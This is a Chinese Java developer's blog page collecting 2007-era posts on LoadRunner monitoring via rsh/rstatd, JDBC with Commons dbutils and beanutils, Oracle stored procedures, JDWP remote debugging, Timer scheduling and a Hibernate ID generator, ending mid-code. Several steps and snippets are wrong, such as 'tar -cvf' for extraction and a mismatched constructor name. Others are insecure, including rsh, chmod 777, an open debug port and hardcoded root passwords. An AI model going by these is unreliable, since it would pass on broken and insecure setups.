yutian727

2007年5月10日

loadrunner监控linux和weblogic安装文档

       很久没上来活动了,一来没什么新的学习东西,这一年有些堕落了,二来嘛,工作就是重复,可能是太笨了,没什么新的领悟
       不过这两天有意思了,我学习了一下压力测试的东西,loadRunner,以前听同事们说过,感觉是个很有意思的东西,可是一直没有机会学。现在好了,给别人做了回助手,也了解了一下loadRunner的一些使用。
       不想在这里讨论使用,我还不够资格,讲些安装吧,说一下如何用lr来监控linux和weblogic,这可是我自己的安装心得哦。
        对linux的安装有些来自网上,出处有些记不清了,反正查了很多,可是多少有些问题,我做了下说明,可以参考。
     

一、loadrunner监控linux安装文档

1.安装rsh,和rsh-server两个服务包。
a.    卸载rsh
rpm –q rsh----------查看版本号

说明:如果版本存在,则直接安装rpc.rstatd-4.0.1.tar.gz
   如果版本不存在,则在linux安装包下找rsh-0.17-14.i386.rpm rsh-server-0.17-14.i386.rpm
   可能版本不一致,但是均可使用

B.安装

rpm –ivh rsh-0.17-14.i386.rpm rsh-server-0.17-14.i386.rpm


2. 下载并安装rstatd(这个包在我的共享目录下也有)
gunzip rpc.rstatd-4.0.1.tar.gz

tar –cvf rpc.rstatd-4.0.1.tar

./configure ---配置
make ---编译

说明:a.如果在linux下不能解压,则在window下解压,然后拷到linux下,目录不定,用户为root用户
   b.修改configure文件的使用权限
     chmod 777 configure
      c.按照上面的步骤操作

3。 打开/etc/xinetd.conf
里面内容是:
# Simple configuration file for xinetd
#
# Some defaults, and include /etc/xinetd.d/
defaults
{
        instances               = 60
        log_type                = SYSLOG authpriv
        log_on_success                = HOST PID
        log_on_failure                = HOST
        cps                        = 25 30
}
includedir /etc/xinetd.d

4.重启xinetd:

A:
service xinetd reload

说明:可能会有提示出现,不用处理,直接进入下一步

6.在启动rstatd:
  进入你rpc.rstatd-4.0.1.tar.gz的解压文件目录
  rpc.rstatd

7.查看rstatd是否启动:

rpcinfo –p

如果能看到:  

       100001    5   udp    618 rstatd

    100001    3   udp    618 rstatd

    100001    2   udp    618 rstatd

    100001    1   udp    618 rstatd

就说明rstatd服务已经启动。可以用LR去监视了。

 

二、loadrunner监控weblogic8.1

1.拷贝weblogic.jar到${lr_home}/classes下,同时,删除jmxri.jar或者修改jmxri.jar为任何名称
2.修改${lr_home}/dat/monitors下的WebLogicMon.ini文件,内容如下:
  原始内容为:JVM=javaw.exe JavaVersion=1.4;JavaVendor=Sun Microsystems Inc.
 修改后内容为:JVM=D:\bea\jdk141_03\bin\javaw.exe JavaVersion=1.4;JavaVendor=Sun Microsystems Inc.
 其中D:\bea\jdk141_03\bin\javaw.exe为自己本地weblogic的jdk所在位置
 javaVersion为weblogic所用的jdk版本号
 
 在网上有的要求修改Weblogic=weblogic.jar Port=1112,要求把PORT修改为7001,但在这里的实际安装过程中,没有做修改。
3.配置如何监控lr的weblogic(jmx)
 打开weglogic(jmx),添加度量
 其中监控的计算机名称为:ip:7001,如192.168.1.88:7001,平台选择所写ip的OS
  然后点击下面的资源度量的添加,输入登录的用户名和密码,此处的用户名和密码为:ip所在OS上的weblogic的登录用户名和密码
 在点击确定后会出现需要监控的资源信息,可以选择自己感兴趣的方面进行监控



    

posted @ 2008-02-25 11:10 牛宝雷 阅读(3213) | 评论 (0) | 编辑 收藏
 
java.lang.String中,match()的用法,即String.match(String pattern)
     摘要: String.match()方法  阅读全文
posted @ 2007-12-03 18:04 牛宝雷 阅读(27579) | 评论 (7) | 编辑 收藏
 
JAVA 处理时间 - java.sql.Date、java.util.Date与数据库中的Date字段的转换方法[转]

1、如何将java.util.Date转化为java.sql.Date?
转化:

java.sql.Date sd;
java.util.Date ud;
//initialize the ud such as ud = new java.util.Date();

sd = new java.sql.Date(ud.getTime());

2、如果要插入到数据库并且相应的字段为Date类型
那么可以用PreparedStatement.setDate(int ,java.sql.Date)方法
其中的java.sql.Date可以用上面的方法得到

也可以用数据库提供TO_DATE函数
比如 现有 ud
TO_DATE(new SimpleDateFormat().format(ud,"yyyy-MM-dd HH:mm:ss"),
"YYYY-MM-DD HH24:MI:SS")
注意java中表示格式和数据库提供的格式的不同

一个实际的例子

sql="update tablename set timer=to_date('"+t+"','yyyymmddhh24miss') where ....."

这里的t为变量为类似:20051211131223

 

3、如何将"yyyy-mm-dd"格式的字符串转换为java.sql.Date

方法1

SimpleDateFormat bartDateFormat =  
        new SimpleDateFormat("yyyy-MM-dd");  
       String dateStringToParse = "2007-7-12";  
       try {  
        java.util.Date date = bartDateFormat.parse(dateStringToParse);  
        java.sql.Date sqlDate = new java.sql.Date(date.getTime());
        System.out.println(sqlDate.getTime());  
       }  
       catch (Exception ex) {  
        System.out.println(ex.getMessage());  
       }

------------------------------------------------------------
方法2
       String     strDate     =     "2002-08-09";   
       StringTokenizer     st     =     new     StringTokenizer(strDate,     "-");   
       java.sql.Date     date     =     new     java.sql.Date(Integer.parseInt(st.nextToken()),
                Integer.parseInt(st.nextToken()),
                 Integer.parseInt(st.nextToken()));

  
java.util.Date和java.sql.Date的异同
java.sql.Date,java.sql.Time和java.sql.Timestamp三个都是java.util.Date的子类(包装类)。

        但是为什么java.sql.Date类型的值插入到数据库中Date字段中会发生数据截取呢?

        java.sql.Date是为了配合SQL DATE而设置的数据类型。“规范化”的java.sql.Date只包含年月日信息,时分秒毫秒都会清零。格式类似:YYYY-MM-DD。当我们调用ResultSet的getDate()方法来获得返回值时,java程序会参照"规范"的java.sql.Date来格式化数据库中的数值。因此,如果数据库中存在的非规范化部分的信息将会被劫取。

        在sun提供的ResultSet.java中这样对getDate进行注释的:
       Retrieves the of the designated column in the current row of this <code>ResultSet</code> object as a “java.sql.Date” object in the Java programming language.

         同理。如果我们把一个java.sql.Date值通过PrepareStatement的setDate方法存入数据库时,java程序会对传入的java.sql.Date规范化,非规范化的部分将会被劫取。然而,我们java.sql.Date一般由java.util.Date转换过来,如:java.sql.Date sqlDate=new java.sql.Date(new java.util.Date().getTime()).
显然,这样转换过来的java.sql.Date往往不是一个规范的java.sql.Date.要保存java.util.Date的精确值,
我们需要利用java.sql.Timestamp.
Calendar

Calendar   calendar=Calendar.getInstance();  
//获得当前时间,声明时间变量  
int   year=calendar.get(Calendar.YEAR);  
//得到年
int   month=calendar.get(Calendar.MONTH);  
//得到月,但是,月份要加上1  
month=month+1;
int   date=calendar.get(Calendar.DATE);  
//获得日期  
String   today=""+year+"-"+month+"-"+date+"";
posted @ 2007-11-12 10:16 牛宝雷 阅读(20532) | 评论 (2) | 编辑 收藏
 
[转]JSF的学习笔记提纲
最近开始学习JSF了,有网上找了一个学习的提纲,以为不错

使用JSF
一、入门
1. hello world
2. Navigation
3. Navigation rules configuration
4. JSF Expression Language
   #{param.name}   隐含对象
5. I18N

二、Managed Beans
1. Backing Bean(Glue Bean)
2. Beans的状态与设置
3. Beans上的List、Map

三、数据转换与验证
1. 标准转换器
   <f: convertDateTime>
   <h: message for="dateField" style="color: red"/>
2. 自定义转换器
3. 标准验证器
   语法检验、语意检验
   <f: validateLength minimum="6"/>
4. 自定义验证器
5. 错误信息处理
   messages.properties
6. 自定义转换、验证标签
   Tag Library

四、事件处理
1. 动作事件
   ActionEvent
   actionListener
2. 即时事件
   immediate="true"
3. 值变事件
   valueChangeListener
4. phase(分阶段)事件


JSF标签
一、标签入门
1. 简介JSF标准标签
2. 输出类标签
   1) outputLabel
   2) outputLink
   3) outputFormat
   4) outputText
3. 输入类标签
   1) inputText
   2) inputTextarea
   3) inputSecret
   4) inputHidden
4. 命令类标签
   1) commandButton
   2) commandLink
5. 选择类标签
   1) <h: selectBooleanCheckbox>
   2) <h: selectOneRadio>、<h: selectOneListbox>、<h: selectOneMenu>
   3) <h: selectManyCheckbox>、<h: selectManyListbox>、<h: selectManyMenu>
   4) <f: selectItem>、<f: selectItems>

二、表格处理
1. 简单的表格
   <h: dataTable>、<h: column>
2. 表头、表尾
   <f: facetname="header">
   <f: facetname="footer">
   CSS
3. TableModel类别
   数组
   java.util.List
   java.sql.ResultSet
   javax.servlet.jsp.jstl.sql.Result
   javax.faces.model.DataModel



参考资料:
http://caterpillar.onlyfun.net/Gossip/JSF/JavaServerFaces.htm
posted @ 2007-09-28 16:03 牛宝雷 阅读(532) | 评论 (1) | 编辑 收藏
 
利用Jakarta Commons组件beanutils、dbutils简化JDBC数据库操作(二)
二、Jakarta Commons dbutils:
    用JDBC API时最令人讨厌的就是异常处理,也很烦琐,而且很容易出错,本人曾考虑过利用模板进行处理,后来看到了dbutils,之后就采用那个dbutils,采用模板的方式各位朋友可以参考Spring,Spring的JdbcTemplate不灵活而强大,呵呵,说句闲话,实在太佩服Rod Johnson了,Rod Johnson真的很令人尊敬。
    Dbutils的QueryRunner把大多数与关闭资源相关的封装起来,另外,你也可以使用DbUtils进行关闭,当然DbUtils提供的功能当然不止这些,它提过了几个常用的静态方法,除了上述的关闭资源外,DbUtils. commitAndClose(Connection conn)还提供事务提及等操作。
还是以一个例子来说说吧,毕竟我不是搞业务的,小嘴巴吧嗒吧哒不起来啊,呵呵。
    为了和采用Beanutils更好的进行对比,这个例子还是实现同样的功能,数据库同样采用前一篇文章中提到的publish。
同样的,用你喜欢的编辑器建立一个类DbutilsJDBCTest,示例代码如下所示:
package cn.qtone.test;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.List;
import java.util.Map;
import org.apache.commons.dbutils.DbUtils;
import org.apache.commons.dbutils.QueryRunner;
import org.apache.commons.dbutils.handlers.MapListHandler;
public class DbutilsJDBCTest{
    public static void main(String[] args) {
        Connection conn = null;
        String jdbcURL = "jdbc:mysql://127.0.0.1:3306/publish?useUnicode=true&characterEncoding=GBK";
        String jdbcDriver = "com.mysql.jdbc.Driver";
        try {
            DbUtils.loadDriver(jdbcDriver);
            // Username "root". Password "root"
            conn = DriverManager.getConnection(jdbcURL, "root", "root");
            QueryRunner qRunner = new QueryRunner();
            System.out.println("***Using MapListHandler***");
            //以下部分代码采用Map存储方式,可以采用Bean的方式代替进行处理
            List lMap = (List) qRunner.query(conn,
                    "select title,authors  from books", new MapListHandler());
            //以下是处理代码,可以抽取出来
System.out.println("title ------------- authors ");
                for (int i = 0; i < lMap.size(); i++) {
                        Map vals = (Map) lMap.get(i);
                        System.out.println(vals.get("title")+"-------------"+ vals.get("authors"));
                }
        } catch (SQLException ex) {
            ex.printStackTrace();
        } finally {
            DbUtils.closeQuietly(conn);
        }
    }
}

怎么样?是不是比采用Beanutils的ResultSetDynaTrial和RowSetDynaClass好多了?采用Beanutils令人难缠的是关闭那些资源以及处理那些异常,而这里采用Dbutils显然代码量减少了很多。
上例在处理结果集时,它把数据库中的每一行映射成一个Map,其中列名作为Key,该列对应的值作为Value存放,查询的所有的数据一起放在一个List里,然后进行处理,当然,一个更明智的处理是直接返回List然后再单独进行处理。
事实上上例返回的结果集中的每一行不必放在一个Map里,你可以放在一个Bean里,当然如果你真的很懒,你也可以使用Beanutils的LazyDynaClass和LazyDynaBean,不过也许没有必要那么做,至于原因请看下文。

如果使用Bean而不是用Map,那么,你也许需要建立一个Bean,如下:
package cn.qtone.test;
public class Book {
    public int id;
    public String title;
    public String authors ;
    public StudentBean() {
    }
    public String getAuthors() {
        return authors;
    }
    public void setAuthors(String authors) {
        this.authors = authors;
    }
    public int getId() {
        return id;
    }
    public void setId(int id) {
        this.id = id;
    }
    public String getTitle() {
        return title;
    }
    public void setTitle(String title) {
        this.title = title;
    }
}

然后简单修改一下DbutilsJDBCTest 中的部分代码即可,代替之后的源代码如下:

package cn.qtone.test;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.List;
import java.util.Map;
import org.apache.commons.dbutils.DbUtils;
import org.apache.commons.dbutils.QueryRunner;
import org.apache.commons.dbutils.handlers.BeanListHandler;

public class DbutilsJDBCTest{
    public static void main(String[] args) {
        Connection conn = null;
        String jdbcURL = "jdbc:mysql://127.0.0.1:3306/publish?useUnicode=true&characterEncoding=GBK";
        String jdbcDriver = "com.mysql.jdbc.Driver";
        try {
            DbUtils.loadDriver(jdbcDriver);
            // Username "root". Password "root"
            conn = DriverManager.getConnection(jdbcURL, "root", "root");
            QueryRunner qRunner = new QueryRunner();
            System.out.println("***Using BeanListHandler ***");
            //以下部分代码采用Map存储方式,可以采用Bean的方式代替进行处理
List lBeans = (List) qRunner.query(conn," select title,authors from books ", new BeanListHandler(Book.class));
    //以下是处理代码,可以抽取出来
System.out.println("title ------------- authors ");
    for (int i = 0; i < lBeans.size(); i++) {
            Book vals = (Book) lBeans.get(i);    
          System.out.println(vals.getTitle ()+"-------------"+ vals. getAuthors ());
                }
        } catch (SQLException ex) {
            ex.printStackTrace();
        } finally {
            DbUtils.closeQuietly(conn);
        }
    }
}
    这两种法输出的结果应该是一样的。两种处理方式都差不多,但我更愿意采用第一种,因为第一种少写一个bean,而且我测试过采用Map的方式即第一种方式性能要好的多,采用Bean性能比较低可能是因为采用反射的缘故,采用反射的东东性能和不采用反射的还是有点差距。也是这个原因,不推荐采用LazyDynaClass和LazyDynaBean,因为采用这二者是在运行期动态创建Bean类和Bean属性,然后再创建Bean对象的,其性能可想而知了(不过我没有测试过啊,所以我说这个话可说是没有根据的,感兴趣的朋友自己测试一下,记得告诉我结果哦,呵呵),除了MapListHandler以及BeanListHandler之外,DButils还提供了其他的Handler,如果这些不能满足你的需求,你也可以自己实现一个Handler。
    最后,也是最大的体会,也许是最大的收获吧,那就是:对于每一个项目,在根据每一个需求获取相应解决方案时,先寻找开源组件,看是否已经有满足某些功能需求的开源组件,如果没有,再考虑自主开发或者向第三方购买,否则尽量采用开源组件.
    请尽量享用开源的魅力,尽情的拥抱开源吧。
posted @ 2007-09-20 11:09 牛宝雷 阅读(1447) | 评论 (1) | 编辑 收藏
 
利用Jakarta Commons组件beanutils、dbutils简化JDBC数据库操作(一)
好久没有写过blog了,因为这段时间做的也就是这些,job,dblink,procedure,view等等吧,项目刚刚做完,我有幸调到金融行情的服务器部门工作,现在正在学习JAKARTA的东西.现在网上找了一下相关资料,现放在此处,以后常学习

关键字:beanutils、dbutils、JDBC 数据库
摘要:本文简单介绍了Jakarta Commons旗下beanutils、dbutils在基于JDBC API数据库存取操作中的运用。
   虽然现在出现了很多ORM框架,可是还是有很多朋友也许还在使用JDBC,就像我现在一样,除了学习的时候在使用Hibernate、Spring类似这些优秀的框架,工作时一直都在使用JDBC。本文就简单介绍一下利用Jakarta Commons旗下beanutils、dbutils简化JDBC数据库操作,以抛砖引玉,希望对像我一样在使用JDBC的朋友有所帮助。
    下面就分两部分简单介绍beanutils、dbutils在基于JDBC API数据库存取操作中的运用。第一部分显介绍beanutils在JDBC数据库存取操作中的运用,第二部分介绍dbutils在JDBC数据库存取操作中的运用,最后看看他们的优缺点,谈谈本人在项目运用过程中对他们的一点心得体会,仅供参考,其中有错误的地方希望大虾不吝赐教,大家多多交流共同进步。
一、Jakarta Commons beanutils
    Beanutils是操作Bean的锐利武器,其提过的BeanUtils工具类可以简单方便的读取或设置Bean的属性,利用Dyna系列,还可以在运行期创建Bean,符合懒人的习惯,正如LazyDynaBean,LazyDynaClass一样,呵呵。这些用法已经有很多文章提及,也可以参考apache的官方文档。
    对于直接利用JDBC API访问数据库时(这里针对的是返回结果集ResultSet的查询select),大多数都是采用两种方式,一种是取出返回的结果集的数据存于Map中,另一种方式是Bean里。针对第二种方式,Beanutils里提供了ResultSetDynaClass结合DynaBean以及RowSetDynaClass结合DynaBean来简化操作。下面用以个简单的例子展示一下beanutils的这两个类在JDBC数据库操作中的运用。
    请在本机建立数据库publish,我用的是MySQL,在publish数据库中建立表book,脚本如下:
CREATE TABLE book(
  id int(11) NOT NULL auto_increment,
  title varchar(50) character set latin1 NOT NULL,
  authors varchar(50) character set latin1 default NULL, 
  PRIMARY KEY  (id)
) 

    然后用你喜欢的编辑器建立一个类BeanutilsJDBCTest,我们先用ResultSetDynaClass来处理,然后再用RowSetDynaClass来实现同样的类,之后看看他们之间有什么不同,用ResultSetDynaClass处理的源代码如下所示:
    然后用你喜欢的编辑器建立一个类BeanutilsJDBCTest,我们先用ResultSetDynaClass来处理,然后再用RowSetDynaClass来实现同样的类,之后看看他们之间有什么不同,用ResultSetDynaClass处理的源代码如下所示:
package cn.qtone.test;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.Iterator; 
import org.apache.commons.beanutils.DynaBean;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.beanutils.ResultSetDynaClass; 
public class BeanutilsJDBCTest{
       public static void main(String[] args) {
              Connection con = null;
              Statement st = null;
              ResultSet rs = null;
              try {
                     Class.forName("com.mysql.jdbc.Driver");
                     String url = "jdbc:mysql://127.0.0.1:3306/publish?useUnicode=true&characterEncoding=GBK";
                     con = DriverManager.getConnection(url, "root", "hyys");
                     st = con.createStatement();
                     rs = st.executeQuery("select * from book");
                     ResultSetDynaClass rsDynaClass = new ResultSetDynaClass(rs);
                     Iterator itr = rsDynaClass.iterator();
                     System.out.println("title-------------authors");
                     while (itr.hasNext()) {
                            DynaBean dBean = (DynaBean) itr.next();
                            System.out.println(PropertyUtils.getSimpleProperty(dBean,"title")+ "-------"+ PropertyUtils.getSimpleProperty(dBean, "authors"));

                     }
              } catch (Exception e) {
                     e.printStackTrace();
              } finally {
                     try {
                            if (rs != null) {
                                   rs.close();
                            }
                            if (st != null) {
                                   st.close();
                            }
                            if (con != null) {
                                   con.close();
                            }
                     } catch (Exception e) {
                            e.printStackTrace();
                     }
              }
       }
} 

用RowSetDynaClass处理的源代码如下所示: 

package cn.qtone.test; 

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.Iterator;
import java.util.List; 
import org.apache.commons.beanutils.DynaBean;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.beanutils.RowSetDynaClass; 

public class BeanutilsJDBCTest{
       public static void main(String[] args) {
              List rsDynaClass = rsTest();
              System.out.println("title ------------- authors ");
              Iterator itr = rsDynaClass.iterator();
              while (itr.hasNext()) {
                     DynaBean dBean = (DynaBean) itr.next();
                     try {
                            System.out.println(PropertyUtils.getSimpleProperty(dBean,"name")  + "-----"+ PropertyUtils.getSimpleProperty(dBean, "mobile"));
                     } catch (Exception e) {
                            // TODO 自动生成 catch 块
                            e.printStackTrace();
                     }
              }
       } 
       private static List rsTest() {
              Connection con = null;
              Statement st = null;
              ResultSet rs = null;
              try {
                     Class.forName("com.mysql.jdbc.Driver");
                     String url = "jdbc:mysql://127.0.0.1:3306/publish?useUnicode=true&characterEncoding=GBK";
                     con = DriverManager.getConnection(url, "root", "hyys");
                     st = con.createStatement();
                     rs = st.executeQuery("select * from book");
                     RowSetDynaClass rsdc = new RowSetDynaClass(rs);
                     return rsdc.getRows();
              } catch (Exception e) {
                     e.printStackTrace();
              } finally {
                     try {
                            if (rs != null) {
                                   rs.close();
                            }
                            if (st != null) {
                                   st.close();
                            }
                            if (con != null) {
                                   con.close();
                            }
                     } catch (Exception e) {
                            e.printStackTrace();
                     }
              }
              return null;
       }
} 

     这两个方法输出的结果应该是一样的。但是很显然第二种方式比第一种方式要好,它把数据访问部分抽取出来放到一个方法中,显得简单清晰。
     其实在利用ResultSetDynaClass时,必须在ResultSet等数据库资源关闭之前,处理好那些数据,你不能在资源关闭之后使用DynaBean,否则就会抛出异常,异常就是说不能在ResultSet之后存取数据(具体的异常名我也忘了),当然你也可以采用以前的方式一个一个的把数据放到Map里,如果你一定要那样做,建议还是别用Beanutils,因为这没带给你什么好处。总之利用ResultSetDynaClass你的程序的扩展性非常部好。
    从第二中方式可以看出,利用RowSetDynaClass可以很好的解决上述ResultSetDynaClass遇到的问题,RowSetDynaClass的getRows()方法,把每一行封装在一个DynaBean对象里,然后,把说有的行放到一个List里,之后你就可以对返回的List里的每一个DynaBean进行处理,此外对于DynaBean你还可以采用标准的get/set方式处理,当然你也可以用PropertyUtils. getSimpleProperty(Object bean, String name)进行处理。
    从上面的分析中,你应该可以决定你应该使用ResultSetDynaClass还是RowSetDynaClass了。


未完待续……
posted @ 2007-09-20 11:08 牛宝雷 阅读(948) | 评论 (2) | 编辑 收藏
 
存储过程生成临时表用从临时表中取数据

这两天工作还行,工作的内容就是写存储过程,对于我这个没有写过存储近程的人来说,还是有一定困难的.不过还好,在众多资源的帮助下,万事OK呀,哈哈.下面就是我写的两个存储过程.

       其一:对数据库中的原表进行每天的备份;

       其二:通过对最新的备份表进行取值操作,通过判断,向原表中插入数据.

       其实这两个存储过程也没有什么难的,一方面我是这方面的新手,另一方面要操作一个临时表,而且要从中取得数据(没有传入值),我在网上找了一下,没有什么成功的例子,所以,把我这两天的成果晒一下.

       先说几个关键词(我用的时候,没少为这几个词费脑子)

1.       execute Immediate,一个执行动态SQL的东东,在每天生成备份表时,立下了汉马功劳.我的表名为:原表名+yyyymmdd

2.       creat table 表名 as select * from 已有表.这是一个创建表,我认为最快的一种方法,在创建表的同时,也可以直接把已有表中的数据也一起copy过来,呵呵,很是神奇

3.       sys_refcursor,这是一个cursor,很怪异的一个cursor,能够生成动态的cursor,可以多用一些,

 

下面我写的存储过程,主要地业务逻辑去掉了,主要说一下过程

1.      每天生成表备份的存储过程

create or replace procedure P_HOLD_COPY Is
--每天结算时,为当天的持股做备份
--得到表名为原表名+yyyymmdd的格式
table_name Varchar2(20) := 'test'||To_char(Sysdate,'yyyymmdd');
Begin
    execute Immediate 'Create Table '||table_name||' As Select * From T_STOC_HOLD';
  Commit;
end P_HOLD_COPY;

2.       从备份表中取得数据,然后根据数据,对原表进行操作

create or replace procedure P__SHARE  is
--******************************************************************
--存储过程名称:P_SHARE
--功能描述:对备份表进行数据操作
--******************************************************************
 balance Number;
 totalmoney Number;
 h_amount Number;
 
 allot_stock Number;
 allot_money Number;
 
 str Varchar2(1);
 v_product_oid Varchar2(32);
 
table_name Varchar2(20);
sqlstr Varchar2(1000);
 
 v_allot_row t_stoc_allot%rowtype;
 v_hold_row t_stoc_hold%rowtype;

 Cursor c_allot is select * from t_stoc_allot where to_char(t_stoc_allot.regdate,'yymmdd') < to_char(sysdate+1,'yymmdd') And (t_stoc_allot.is_allot Is Null Or t_stoc_allot.is_allot='1');

 c_hold sys_refcursor  ;

Begin

  open c_allot;
  loop
      fetch c_allot into v_allot_row;
       
      table_name :=  'T_STOC_HOLD'||To_char(v_allot_row.regdate,'yyyymmdd');
     
      v_product_oid := v_allot_row.product_oid;
      sqlstr := 'select * from '||table_name||' where stock_code='||v_product_oid;
      exit when c_allot%NOTFOUND;

        open c_hold For sqlstr ;
        loop
            fetch c_hold into v_hold_row;
            exit when c_hold%NOTFOUND;
            
                   end loop;
        close c_hold;
          end loop;
  close c_allot;
 
  Commit;
end P_SHARE;

posted @ 2007-07-06 16:37 牛宝雷 阅读(5352) | 评论 (4) | 编辑 收藏
 
eclipse的远程调试(jboss+tomcat),已成功

何为远程调试?我们一般调试一个web项目的java代码时,需要将你的web服务器和你的开发工具(比如eclipse)集成,或需要工具的一些插件支持(比如Eclipse下的myclipse等),这些方式都是在本地进行,即你的开发工具和web服务器运行在同一台服务器上,如果你的开发工具和服务器不再一台机器上那就需要实现远程调试功能了。

下面说明一下在tomcat中的远程调试实现:

在tomcat的catalina.bat文件中加入下面的设置,当然SET CATALINA_OPTS 变量应该在使用它之前。这是在tomcat启动时设置一些虚拟机参数,使服务器允许远程连接功能,address=5888表示远程连接的端口号,可以设置成任意其他不冲突端口。
SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5888

然后说明一下在jboss中的远程调试实现:

在jobss中配置远程调试比较简单,他的原理和tomcat一样,也是修改一下他的虚拟机参数,形式为:端口为8787,注意端口不要重复
JAVA_OPTS="$JAVA_OPTS -Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n"

这样就Ok了,重启动web服务器,可以直接独立启动,而不用在eclipes的插件中启动。打开eclipse中的debug设置窗口,选择Remote Java Application ,新建一个debug项,输入服务器IP和刚才设置端口号,点ok就可以进入debug状态了。Jbuilder中同样可以设置Remote Java Application。

posted @ 2007-07-06 15:22 牛宝雷 阅读(2681) | 评论 (3) | 编辑 收藏
 
java.util.TimeTask例子

java.util.Timer定时器,实际上是个线程,定时调度所拥有的TimerTasks。  
  一个TimerTask实际上就是一个拥有run方法的类,需要定时执行的代码放到run方法体内,TimerTask一般是以匿名类的方式创建。  
   
  一个完整的Timer:  
   
  java.util.Timer   timer   =   new   java.util.Timer(true);  
      //   true   说明这个timer以daemon方式运行(优先级低,  
      //       程序结束timer也自动结束),注意,javax.swing  
      //   包中也有一个Timer类,如果import中用到swing包,  
      //   要注意名字的冲突。  
   
  TimerTask   task   =   new   TimerTask()   {  
      public   void   run()   {  
            ...   //每次需要执行的代码放到这里面。  
      }  
  };  
   
  //以下是几种调度task的方法:  
   
  timer.schedule(task,   time);    
  //   time为Date类型:在指定时间执行一次。  
   
  timer.schedule(task,   firstTime,   period);  
  //   firstTime为Date类型,period为long  
  //   从firstTime时刻开始,每隔period毫秒执行一次。  
   
  timer.schedule(task,   delay)  
  //   delay   为long类型:从现在起过delay毫秒执行一次  
   
  timer.schedule(task,   delay,   period)  
  //   delay为long,period为long:从现在起过delay毫秒以后,每隔period  
  //     毫秒执行一次。   
   

下面是一个完整的例子,由两个类组成,一个定制任务,一个调用java.util.Timer

定制任务:
import java.util.Timer;

public class TimerTaskTest extends java.util.TimerTask{

 @Override
 public void run() {
  // TODO Auto-generated method stub
  System.out.println("start");
 }
}
2.调用java.util.Timer
import java.util.Timer;

public class Test {
 public static void main(String[] args){
  Timer timer = new Timer();
  timer.schedule(new TimerTaskTest(), 1000, 2000);
  try{
   Thread.sleep(1000);
  }catch(Exception ex){
   timer.cancel();
  }
 }
}
根据上面的介绍,便可以在1秒后,每隔2秒执行一次程序
建议:在使用Timer timer = new Timer()时,不要用Timer timer = new Timer(true).因为这样,在程序结束后,timer也自动结束了,不利于使用

posted @ 2007-06-01 16:30 牛宝雷 阅读(3013) | 评论 (2) | 编辑 收藏
 
定时执行任务的三种方法(转)

1)java.util.Timer
这个方法应该是最常用的,不过这个方法需要手工启动你的任务:
Timer timer=new Timer();
timer.schedule(new ListByDayTimerTask(),10000,86400000);
这里的ListByDayTimerTask类必须extends TimerTask里面的run()方法。

2)ServletContextListener
这个方法在web容器环境比较方便,这样,在web server启动后就可以
自动运行该任务,不需要手工操作。
将ListByDayListener implements ServletContextListener接口,在
contextInitialized方法中加入启动Timer的代码,在contextDestroyed
方法中加入cancel该Timer的代码;然后在web.xml中,加入listener:
<listener>
<listener-class>com.qq.customer.ListByDayListener</listener-class>
</listener>

3)org.springframework.scheduling.timer.ScheduledTimerTask
如果你用spring,那么你不需要写Timer类了,在schedulingContext-timer
.xml中加入下面的内容就可以了:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.org/dtd/spring-beans.dtd">

<beans>
<bean id="timer" class="org.springframework.scheduling.timer.TimerFactoryBean">
     <property name="scheduledTimerTasks">
         <list>
              <ref local="MyTimeTask1"/>
         </list>
     </property>
</bean>

<bean id="MyTimeTask" class="com.qq.timer.ListByDayTimerTask"/>

<bean id="MyTimeTask1" class="org.springframework.scheduling.timer.ScheduledTimerTask">
   <property name="timerTask">
       <ref bean="MyTimeTask"/>
   </property>
   <property name="delay">
       <value>10000</value>
   </property>
   <property name="period">
       <value>86400000</value>
   </property>
</bean>
</beans>

posted @ 2007-06-01 15:49 牛宝雷 阅读(485) | 评论 (0) | 编辑 收藏
 
hibernate自定义生成主健

现在做的项目有一个需求:在不多维护一张表的情况下,自动生成主键,同sequence一样,而且要有一定的规范.比如,现在我们的规范是yymmddhhmmss+四位流水号.没有办法,只好对hibernate的主键生成做自定义.下面是我的代码,请多多指教.

声明,我的hibernate的版本是:hibernate3.2

自定义的时候,只对两个地方做了修改,一个是自己写了一个java类,实现了hibernate的IdentifierGenerator和Configurable ,另外一个地方就是对*.hbm.xml文件做修改.
一.
先说对*.hbm.xml做的修改吧,东西比较少.
原始的配置文件中,主键生成时,采用的是自动增加1,如下:
<class name="com.ce.fxmgn.entity.Hold" table="HOLD">
        <id name="oid" type="java.lang.String">
            <column name="OID" length="32" />
            <generator class="sequence">
             <param name="sequence">seq_id</param>
            </generator>
        </id>
在修改后,去掉了sequence,如下:
<class name="com.ce.fxmgn.entity.Hold" table="HOLD">
        <id name="oid" type="java.lang.String">
            <column name="OID" length="32" />
            <generator class="com.hello.test.po.InMemoryIncrement">
            </generator>
        </id>
其中,com.hello.test.po.InMemoryIncrement便是自己写的java类.


二.扩展的java类.实现了hibernate的IdentifierGenerator和Configurable

package com.hello.test.po;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;

import org.hibernate.HibernateException;
import org.hibernate.MappingException;

import org.hibernate.dialect.Dialect;

import org.hibernate.engine.SessionImplementor;

import org.hibernate.id.Configurable;
import org.hibernate.id.IdentifierGenerator;
import org.hibernate.id.PersistentIdentifierGenerator;

import org.hibernate.type.Type;

import java.io.Serializable;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;

import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import java.util.Properties;


public class InMemoryIncrement implements IdentifierGenerator, Configurable {
    private static final Log log = LogFactory.getLog(InMemoryIncrement.class);

    //存储最大值的数组的容量
    private static final int MAX_CAPACITY = 2000;

    /**同步锁*/
    private static final Object lock = new Object();

    //存储表存储在数组中的索引值
    private static Map map = new HashMap();

    //最大值数组
    private static long[] seqs = new long[MAX_CAPACITY];

